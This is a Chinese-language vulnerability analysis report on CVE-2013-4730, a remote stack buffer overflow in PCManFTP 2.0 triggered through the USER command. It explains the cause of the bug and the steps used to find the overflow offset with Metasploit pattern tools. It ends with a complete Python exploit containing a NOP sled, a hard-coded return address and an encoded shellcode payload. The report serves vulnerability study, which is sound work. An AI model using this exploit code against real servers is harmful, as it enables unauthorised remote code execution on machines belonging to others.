PCManFTP v2.0(CVE-2013-4730)漏洞分析报告
软件名称:PCManFTP
软件版本:2.0
漏洞模块:PCManFTPD2.exe
模块版本:2.0.0.0
编译日期:2005-01-01 操作系统:Windows XP/2003/7/8.1/10
漏洞编号:CVE-2013-4730
危害等级:高危
漏洞类型:缓冲区溢出
威胁类型:远程
分析人:李嘉诚
2017年7月10日
目录
1. 软件简介 2
2. 漏洞成因 2
3. 利用过程 2
4. PoC 2
5. 结语 2
6. 参考资料 3
1. 软件简介
PCMan's FTP Server是洪任谕程序员所研发的一套FTP服务器软件。该软件具有体积小、功能简单等特点。
……
2. 漏洞成因
PCMan’s FTP Server 2.0.0版本中存在远程的缓冲区溢出漏洞。软件在接受数据包时申请了0x1004的缓冲区,每个数据包的最大为0x1000(4kb),并将接受到的数据作为字符串进行处理,并将字符串以”/r/n”作为每条指令的分割符,所以一条指令的最大长度可以达到0x1000(4kb)。但在解析指令时,使用函数sprintf进行对指令连接字符串的操作,连接字符串的缓冲区为0x800,并且没有对指令长度进行判断,导致存在栈溢出漏洞
远程攻击者可借助USER命令,不进行登录,利用该漏洞执行任意代码。
3. 利用过程
1. 使用python编写模拟ftp客户端登录脚本
#coding=utf-8
import socket
address = ('192.168.176.1', 21)
sockfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sockfd.connect(address)
print(sockfd.recv(0x400).decode('utf-8'))
buff = b'USER ' ;
with open('user.dat', 'rb') as fp:
buff += fp.read() ;
sockfd.send(buff)
print(sockfd.recv(0x400).decode('utf-8'))
2. 利用模糊测试框架生成输入,并构造USER指令
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2600 > user.dat
3. 测试,根据软件崩溃时的异常偏移定位溢出点
root@kali:~/vulne/cve-2013-4730# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2600 -q 0x376f4336
[*] Exact match at offset 2000
4. 在程序中查找稳定的跳板指令
5. 调试,确定参数个数
6. 编写exploit
#coding=utf-8
import socket
import struct
print("%s:%d"%('192.168.176.1' , 21))
address = ('192.168.176.1', 21)
sockfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sockfd.connect(address)
print(sockfd.recv(0x400).decode('utf-8'))
buff = b'USER '
buff += b'\x90'*2000
buff += struct.pack("<I", 0x7095A6C7) #ret_address
buff += b'\xcc\xcc\xcc\xcc' #paramter
#shellCode
buff+=b"\xE8\xFF\xFF\xFF\xFF\xC3\x58\xFC\x8D\x70\x17\x8B\xFE\x99\xB2\x1B\x33\xC9\x66\xB9\xB8\x01\xAC\x32\xC2\xAA\xE2\xFA"
buff += b"\x98\xf7\x64\x98\xf7\x64\x98\xf7\x64\x98\xff\xe7\x96\x67\x3f\x5b"
buff+=b"\xf0\x3b\x9c\x29\xc3\xdb\xd2\xa7\xbd\x70\x78\x92\xca\x54\x26\x71"
buff += b"\xaf\x9b\x36\x29\x63\xc5\x7f\x0b\xbc\xc6\x17\x84\xc8\x50\xaa\x05"
buff += b"\x8c\x1a\xf3\xe4\xe4\xe4\xe4\xd8\x41\x98\xf1\x3e\x28\xdb\x7f\x90"
buff+=b"\x5b\x2b\x90\x5b\x17\x90\x5b\x07\x98\xf3\x1a\x90\x5b\x1a\x90\x43"
buff+=b"\x13\x90\x58\x27\x18\xd8\x90\x5b\x63\x18\xd8\x90\x53\x07\x18\xd0"
buff+=b"\x4a\x90\x53\x3f\x18\xd0\x4a\x90\x5b\x3b\x18\xd8\x28\xd2\x4b\x49"
buff += b"\x82\x90\x2f\x93\x18\xe8\x89\x82\x49\xda\xf9\x02\xda\x37\x3f\x1c"
buff += b"\x12\x0f\x3f\x41\x18\xcb\xb7\x9f\xdb\x6e\xf6\x43\x20\x0b\x89\x43"
buff += b"\x6f\x18\x5a\xf0\xc2\x43\x7d\x90\x17\x53\x14\xac\xd2\x43\x90\x1f"
buff+= b"\x93\x18\xd8\xb0\x98\xd9\x1f\x9a\x21\xd2\xa7\xbd\x70\x6f\x08\x9a"
buff += b"\x21\x26\x71\xaf\x9b\x6f\x36\x9a\x61\xe7\xaa\x05\x8c\x1a\x6f\x5e"
buff+=b"\xf0\x94\x49\x82\x49\xa3\x7e\x77\x28\x29\x4b\xa3\x70\x7e\x69\x75"
buff+= b"\x4b\x90\xdf\x49\x49\x4b\xe4\x4c\xe7\x42\x42\x42\x41\x90\xc3\xf2"
buff+=b"\x76\xe4\xe4\xe4\x49\x82\x89\x82\x7d\xa3\x28\x29\x4b\xa3\x6c\x68"
buff+= b"\x29\x44\x4b\x90\xdf\x49\x49\x4b\xe4\x4c\xef\x42\x42\x41\x90\xc3"
buff+=b"\xf2\x57\xe4\xe4\xe4\x82\x89\x8a\xaa\x0b\x8c\x88\x82\x89\x90\xe7"
buff+= b"\xe8\xb0\x4f\x7d\xa2\x19\x19\x4a\xe4\x48\xf7\x42\x42\x42\x42\x71"
buff+=b"\x1d\x71\x1a\x71\x19\xe4\x48\xeb\x8c\x82\x7d\xa1\x12\x06\xda\xf9"
buff+= b"\x0b\xa9\x19\x49\x90\xdf\x71\x0b\x4b\x4c\xe4\x48\xef\x42\x42\x71"
buff+=b"\x0b\x4c\xe4\x48\xe3\x4c\xe4\x48\xe7\x82\x4b\x4b\x4b\x49\x49\xa9"
buff+= b"\x0b\xda\xf9\x1f\x49\x82\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
buff += b"\x71\x5f\x90\xdf\x7d\xa1\x76\x7f\xda\xf9\x13\xa9\x78\x49\x90\xd7"
buff+= b"\x4f\x4b\x82\x49\x49\xa9\x13\xda\xf9\x03\x49\x49\x82\x49\x49\x4a"
buff += b"\x49\xe4\x48\xff\x82\x49\xe4\x48\xf3\x1b"
print("send len:%d"%sockfd.send(buff))
print(sockfd.recv(0x400).decode('utf-8'))
4. PoC
程序中存在远程缓冲区溢出,并且没有使用GS栈安全检查,DEP数据执行保护,所以导致高危漏洞的存在
5. 结语
通过此次漏洞挖据到利用,认识到在分析的过程中思维要更加的灵活起来,工具要活用起来,逆向分析的能力还有待提高
6. 参考资料
任老师的精彩讲述